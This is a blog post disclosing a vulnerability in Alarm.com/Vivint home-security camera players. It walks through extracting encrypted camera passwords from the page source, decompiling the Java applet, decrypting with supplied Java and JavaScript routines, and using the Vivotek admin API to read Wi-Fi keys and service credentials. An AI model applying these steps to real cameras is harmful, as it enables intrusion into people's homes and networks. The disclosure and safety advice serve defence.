ahmad Ahmad Nassri Blog

Alarm.com Camera Vulnerability Exposed

Alarm.com uses a Java web player to live-stream video from your home security cameras to your browser, the Java player source code is easily decompiled and can grant an attacker access to the camera and home network.

I’ve been a user of Vivint for about 4 years. 3 Years ago I discovered a small vulnerability in their camera system and reported it to both Alarm.com and Vivint. The issue still lives on to date, this post will demonstrate how to gain access to your camera’s Web UI and in turn expose some security holes over your home network.

Note: Alarm.com acts as mediator between hardware manufacturers and dealers (such as Vivnt, Frontpoint Security and many others)

TL;DR

Alarm.com uses a Java web player to live-stream video from your home security cameras to your browser, the Java player source code is easily decompiled and can grant an attacker access to the following:

  • Alarm.com’s master encryption key
  • Your camera’s encrypted password
  • The algorithm to decrypt the password (using the master key)
  • Your external IP & camera ports (camera automatically enables UPnP port forwarding)
  • Camera MAC address

Which, in turn, will gain the attacker the following through the Camera’s own security flaws:

  • Full access & control to your camera
  • Your home network information
    • IEEE 802.1x information (including CA certificate)
    • WiFi information (including network keys)

This means:

  • Attacker can access your WiFi network
  • Attacker can fully view all camera streams
  • Attacker can fully control the camera settings
    • automatically record and upload videos to their own FTP servers
    • change all settings, and lock you out.
    • update camera firmware! (extremely dangerous)
  • Attacker has access to Vivnt FTP servers
  • Attacker has access to Vivnt VPN servers

and more …

Caveats

As with all such vulnerabilities, this doesn’t necessarily mean you’re being watched by an hacker right now! It does however create reasonable risk of an attack vector which is not too complicated, nor too farfetched:

  • The attacker needs to gain access to your browser or your alarm.com browser session
    • Easily done through a malicious browser extension, or spyware on your computer to hijack your session
    • Are you using an easy-to-guess password for your Alarm.com/Vivint account?
    • Is your email account secured? (“forgot password” feature is the easiest attack vector if your email is insecure)
  • The attacker needs to gain access to your WiFi or local network
    • Consumer WiFi networks routers are notoriously easy to hack
    • How many house guests did you give your WiFi password to? Are their devices safe from leaking that password?

You don’t have to be paranoid to worry about security, it is a reality of the modern age!

Official Response

Upon initial contact, neither company’s representatives were interested in discussing further, and just told me they’d log my report and let the tech team know, so I took to Twitter, and posted in /r/homedefense on reddit, which caught Vivint’s attention.

They immediately contacted me and put me in touch with Vivint’s VP of Innovation, we had a productive conversation and he explained that Vivint’s focus was to move into the Vivint Sky system and away from the Alarm.com system. Fast forward 3 years later, while Vivint has indeed stopped selling the old system to new customers, they are still operating the Alarm.com system for old customers. Myself included.

Some noteworthy events over the past 3 years that relate to this issue:

  • On September 2015, Google announced they were dropping support for Java with Chrome v45
    • upon this announcement Alarm.com worked to update their video player to a Flash player instead of the Java one
    • currently the Java player is still accessible allowing for the vulnerability described here
    • the Flash system is not perfect, and I have found some issues with it as well (see below)
  • as of December 2016, Chrome v55 now blocks Flash by default
    • There is no info yet from Alarm.com on what they will replace the video player with
  • Vivint started shipping cameras with a firmware that strips out the Web UI completely, and executes a daily remote reset for camera settings and keys.
    • Though those will do nothing to protect you from the Alarm.com vulnerability, or the camera’s own weak security once accessed.
  • There has been MANY Vulnerabilities exposed in Vivotek cameras including:
    • execute arbitrary code,
    • access the video stream via RTSP
    • dump the camera’s memory and retrieve user credentials

The Details

Here is are the steps to follow which will give you access to the camera system:

1. Login to your Alarm.com web portal

2. Go to Live Video page https://www.alarm.com/web/Video/LiveView.aspx

  • You might get redirected to https://www.alarm.com/web/Video/LiveViewFlash.aspx.
  • This is a soft redirect to the new Flash player if Alarm.com detects your browser supports it.
  • stay on the LiveView.aspx page if you can, or just manually view source in step 3.

3. View the page source: view-source:https://www.alarm.com/web/Video/LiveView.aspx

4. You will find the following <applet> code, repeated for as many cameras you have on the system:

<applet type = "application/x-java-applet"
        class = "live_viewer_object"
        CODE = "VideoViewer.class"
        ARCHIVE = "LiveViewer082.jar"
        NAME = "LiveViewer_ctl00_phBody_ctl08"
        ID = "LiveViewer_ctl00_phBody_ctl08"
        WIDTH = "1280"
        HEIGHT = "800"
        MAYSCRIPT = "true"
        scriptable = "true"
        pluginspage = "http://java.sun.com/products/plugin/index.html#download">
  <param name="permissions" value="all-permissions" />
  <param name = addr value = [redacted]/>
  <param name = alt_addr value = [redacted]/>
  <param name = query value = /nphMotionJpeg?Resolution=1280x800&Quality=5>
  <param name = login value = root>
  <param name = pwd value = [redacted]>
  <param name = mac value = [redacted]>
  <param name = resolution value = 1280x800>
  <param name = make value = Alarm.com>
  <param name = model value = ADC-V620PT>
  <param name = prefer_alt_ip value = true>
  <param name = pantilt value = true>
  <param name = vmd_mode value = false>
  <param name = protected_mode value = false>
  <param name = vpnproxyserver value = https://www.alarm.com/web/>
  <param name = usevpn value = false>
  <param name = SessionId value = [redacted]>
  <param name = border value = false>
  <param name = language value = 1>
  <param name = applet_id value = LiveViewer_ctl00_phBody_ctl08>
  <param name = channel value = 0>
  <param name = in_privacy_mode value = false>
  <param name = deviceId value = 2049>
</APPLET>

5. For each camera listed, copy the values for the following params: (addr, alt_addr, login, pwd, mac) here’s what they mean:

Param Description
addr Public IP and port
alt_addr Local IP and port
login Login/username, always root
pwd Encrypted password
mac MAC address

Decrypting the Password

The video player and the decryption logic are included in LiveViewer082.jar (which you can download without even having to be logged in)

The .jar file can easily be decompiled into human-readable code using JD GUI.

once decompiled, and upon some inspection of the source code, I found the following method under ConnectionThread.class:

private String Deobfuscate(String Pwd)
{
  String key = "[redacted]";
  String unXorBuf = "";
  String unHexBuf = "";
  try
  {
    for (int Ind = 0; Ind < Pwd.length(); Ind++) {
      unXorBuf = unXorBuf + Integer.toHexString(Integer.parseInt(Pwd.substring(Ind, Ind + 1), 16) ^ Integer.parseInt(key.substring(Ind, Ind + 1), 16));
    }
    for (int Ind = 0; Ind < unXorBuf.length(); Ind += 2) {
      unHexBuf = unHexBuf + (char)Integer.parseInt(unXorBuf.substring(Ind, Ind + 2), 16);
    }
    return unHexBuf;
  }
  catch (Exception ex)
  {
    DbgMsg("(e4) " + ex.getMessage());
  }
  return Pwd;
}

Note (1) They key value here is the global Alarm.com Master Key, I have redacted the value so you can get it yourself if you follow the instructions in this post.

Note (2) I am not fully certain this will be the same value for all Alarm.com users, but so far I have verified with another friend who is also a Vivint user and it is indeed the same.

This will allow you to “decrypt” the pwd field from earlier:

<param name = pwd value = [redacted]>

For expediency, here’s a JavaScript version of this function that you can run in your browser right now:

const key = '[redacted]'

function deobfuscate (Pwd) {
  let unXorBuf = ''
  let unHexBuf = ''

  for (let Ind = 0; Ind < Pwd.length; Ind++) {
    unXorBuf = unXorBuf + Number(parseInt(Pwd.substring(Ind, Ind + 1), 16) ^ parseInt(key.substring(Ind, Ind + 1), 16)).toString()
  }
  
  for (let Ind = 0; Ind < unXorBuf.length; Ind += 2) {
    unHexBuf = unHexBuf + String.fromCharCode(parseInt(unXorBuf.substring(Ind, Ind + 2), 16))
  }
  
  return unHexBuf
}

With the username root and password decrypted, you can now access your camera’s web interface and configuration using the IP address and port information obtained earlier:

Vivotek Web UI (The web interface and API are protected with Digest HTTP Authentication)

Vivint started shipping cameras with the web UI stripped out, however this does nothing to remove the admin API, which is documented in detail on your camera’s manual, Here’s an example from the Vivotek PT8133:

Vivotek Admin API

Accessing your Camera

My cameras, and (from what I can tell) all the Alarm.com / Vivint cameras are manifactured by Vivotek

  • You can read the Vivotek admin API values using: GET http://[user]:[pwd]@[ip]:[port]/cgi-bin/admin/getparam.cgi
  • You can write Vivotek admin API values using: POST http://[user]:[pwd]@[ip]:[port]/cgi-bin/admin/setparam.cgi?[key]=[value]
  • Consult your camera manual for variations and key/value mappings
  • iSpy did an amazing job of indexing all the video streaming urls across all Viovotek cameras by model

Whether you have access to the web UI, or you go by the HTTP API, you now have access to view the entire system’s parameters stored on the camera, this is where the vulnerability finally takes shape, these parameters include everything from your camera’s settings, to the WiFi network keys and more!

Here are a few highlights that I found to be most interesting (with values redacted):

Your Camera’s Users & Settings

All the camera’s configurations are laid bare, and are easily adjustable with a simple POST request. This includes all the Video Streams, Motion Detection, Recording Schedules, FTP upload targets, even Firmware Updates, which allows an attacker to completely replace your camera’s firmware, leaving both you and Alarm.com none the wiser!

system_hostname='Wireless Mega-Pixel Network Camera'
system_ntp='ntp.alarm.com'
system_dailyreboot='07:00'
system_info_modelname='PT8133W'
system_info_extendedmodelname='ADC-V620PT'
system_info_serialnumber='[redacted]'
system_info_firmwareversion='PT8133-ALAM-0102c1'
security_user_i0_name='root'
security_user_i0_pass='[redacted]'
security_user_i0_privilege='admin'
network_http_alternateport='40926'
network_http_authmode='digest'

An interesting and also scary discovery:

Your camera exposes a live audio stream, one which Alarm.com & Vivint do not offer you access to, but an attacker can listen to everything going on in your home!

network_rtsp_s0_audiotrack='-1'
network_rtsp_s0_multicast_alwaysmulticast='0'
network_rtsp_s0_multicast_videoport='5560'
network_rtsp_s0_multicast_audioport='5562'
network_rtsp_s0_multicast_ipaddress='[redacted]'
network_rtsp_s0_multicast_ttl='15'

Your Home Network

Your WiFi keys are stored in plain text (redacted below)!

network_ieee8021x_enable='0'
network_ieee8021x_eapmethod='eap-peap'
network_ieee8021x_identity_peap=''
network_ieee8021x_identity_tls=''
network_ieee8021x_password=''
network_ieee8021x_privatekeypassword=''
network_ieee8021x_ca_exist='0'
network_ieee8021x_ca_time='0'
network_ieee8021x_ca_size='0'
network_ieee8021x_certificate_exist='0'
network_ieee8021x_certificate_time='0'
network_ieee8021x_certificate_size='0'
network_ieee8021x_privatekey_exist='0'
network_ieee8021x_privatekey_time='0'
network_ieee8021x_privatekey_size='0'
wireless_ssid='[redacted]'
wireless_wlmode='Infra'
wireless_channel='6'
wireless_txrate='0'
wireless_encrypt='3'
wireless_authmode='OPEN'
wireless_keylength='64'
wireless_keyformat='HEX'
wireless_keyselect='1'
wireless_key1='[redacted]'
wireless_key2='[redacted]'
wireless_key3='[redacted]'
wireless_key4='[redacted]'
wireless_domain='0'
wireless_algorithm='AES'
wireless_presharedkey='[redacted]'
wireless_connecttype='manual'

Alarm.com VPN

Dump the certificates and connect to their VPN!

vpn_protocol='udp'
vpn_host='videovpn.alarm.com'
vpn_port='1294'
vpn_devtype='tun'
vpn_encryption='AES-256-CBC'

Alarm.com DDNS Login

I’m sure with enough research some DDNS server vulnerabilities can be discovered here, oh and look they gave us credentials! In plain text!

ddns_Alarm_hostname='www.alarm.com'
ddns_Alarm_usernameemail=''
ddns_Alarm_passwordkey='[redacted]'
ddns_Alarm_servername='deviceapi.alarm.com'
ddns_Alarm_updateinterval='3600'

Alarm.com FTP upload servers

Another potential for researching FTP vulnerabilities, they were kind enough to provide credentials here as well. In plain text!

server_i0_name='alarm_ftp'
server_i0_type='ftp'
server_i0_http_url='http://'
server_i0_http_username=''
server_i0_http_passwd=''
server_i0_ftp_address='[redacted]'
server_i0_ftp_username='[redacted]'
server_i0_ftp_passwd='[redacted]'
server_i0_ftp_port='21' 

Bonus: Flash Player Vulnerability

Since Alarm.com switched to a Flash Player (though keeping the Java Player accessible) they employed a more complex encryption mechanism, one that I enjoyed cracking too!

Here’s the breakdown:

The Flash version of the player is served from: https://www.alarm.com/web/Video/LiveViewFlash.aspx

  • The page will load the Flash objects, and proceed to make a call to get some encrypted content from: https://www.alarm.com/web/Video/LiveViewFlash.aspx/GetProxyMjpegStreamUrl with a JSON request payload: { 'camId': 'xxxx' }

    Note: up to this point everything is secured behind HTTPS and the user Web Session (in cookies)

  • The response is a JSON object with an encrypted content: {"d": "[encrypted]"}

So what’s behind this mysterious request? lets find out!

1. Just as before, lets grab the video player source code from: https://www.alarm.com/web/Video/AdcSharedUserControls/Video/LocomoteLiveViewer/LocoLivePlayerFlex.swf

2. This time we’ll use JPEXS Free Flash Decompiler

3. Upon inspecting the source, I found the decryption logic under scripts/com/axis/http/url.as

public static function parse_enc(param1:String) : Object
{
    Logger.log("url enc =" + param1,LogEventLevel.DEBUG);
    var _loc2_:CBCMode = new CBCMode(new AESKey(Hex.toArray("[redacted]")),new PKCS5());
    _loc2_.IV = Hex.toArray("[redacted]");
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.writeBytes(Base64.decode(param1));
    _loc2_.decrypt(_loc3_);
    Logger.log("url dec =" + _loc3_.toString(),LogEventLevel.DEBUG);
    return parse(_loc3_.toString());
}

Note: KEY & IV values [redacted].

The encryption method here is more sophisticated than the Java method; it is using AES-128-CBC Cipher Block Chaining (CBC) encryption with the AS3 Crypto Framework. The encrypted JSON response from earlier: {"d": "[encrypted]"} is actually a base64 encoded binary, which given the Encryption Key (key) and Initialization Vector (IV) exposed above, you can decipher easily.

However, this encryption ultimately pointless! Upon decrypting the values, I found it merly exposes the video relay server with a token:

https://relayvideo.alarm.com/ProxyLiveVideoWeb.ashx?token=[redacted]

This is pointless because I can see that in my browser’s web inspector already:

Web Inspector

I’m not sure what their motivation was to encrypt the full URL here with the token, but since both API calls are protected behind HTTPS and web sessions this really does nothing to enhance security.

Flash Relay Server Attack Vector:

In spite of the complex and ultimately pointless encryption, The Flash player method that Alarm.com now uses is much more secure than the prior Java method, though, with the Java player still accessible, the vulnerability remains.

The Flash relay server still exposes a possible attack vector, one that’s “simpler” to pull off than the Java Player method described above.

Mainly relying on Session Hijacking, (which is also a requirement of pulling off the Java attack vector described above) an attacker can simply use the Alarm.com proxies to directly access and control the camera:

// Video Proxy
https://relayvideo.alarm.com/ProxyLiveVideoWeb.ashx

// Command Proxy
https://www.alarm.com/web/Video/ProxyCamControl.ashx

an attacker can access the camera stream, so long as they can fake your session, and they can send a command to the camera using the command proxy, create a new user with admin privileges and skip all the rest of having to decompile Jar files and decrypt passwords!

Though this is untested as I’ve already uncovered enough headaches for one day, lets hope the command proxy actually filters commands before passing them on to the camera!

I described this as “simple” as in needing fewer steps. However, session hijacking is not an easy task to pull and requires more social engineering skills over technical skills to fool the victim into installing / loading the tools a hacker needs to gain access.

Don’t Panic

How to stay safe:

  • Secure your email account with Multi-factor Authentication
    • All the security precautions will do you no good if somebody gains access to your email and employs a “forgot password” attack
  • Research and thoroughly secure your home router
    • Block all external access
    • Employ strong WiFi security
    • Disable UPnP
  • Research and Thoroughly secure your IP Cameras
    • Setup Google Alerts for your Camera’s model
    • Demand your security provider (Alarm.com or any other) to update their Camera’s firmware if you don’t have access
  • Don’t use IP Cameras
    • This should be obvious, if you really want to be safe, don’t expose yourself!
  • Don’t use Alarm.com or any of its vendors
    • Another obvious one!
    • If after 3 years they still have not fixed this issue, I have zero hope they ever will, so this blog post is my final attempt to gain their attention for the benefit of all their customers!